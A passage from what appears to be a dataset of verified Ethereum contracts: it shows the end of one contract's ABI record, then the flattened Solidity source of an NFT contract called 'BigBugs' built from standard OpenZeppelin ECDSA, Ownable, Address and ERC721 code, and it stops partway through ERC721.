"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawAll","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.7+commit.e28d00a7 | true | 500 | 0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000004468747470733a2f2f697066732e696f2f697066732f516d5954737264547178593244706a43386739767159576562453872617a71685070575568476758326d455643662f00000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://7d7775210b6f873c81504e9c42ec3c4ee9ee1bea453f5072858cb9a1a4449e13 |
||
BigBugs | 0x63c0bcc3a59d099ea1da652eb8fd0999c94de8c8 | Solidity | // File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
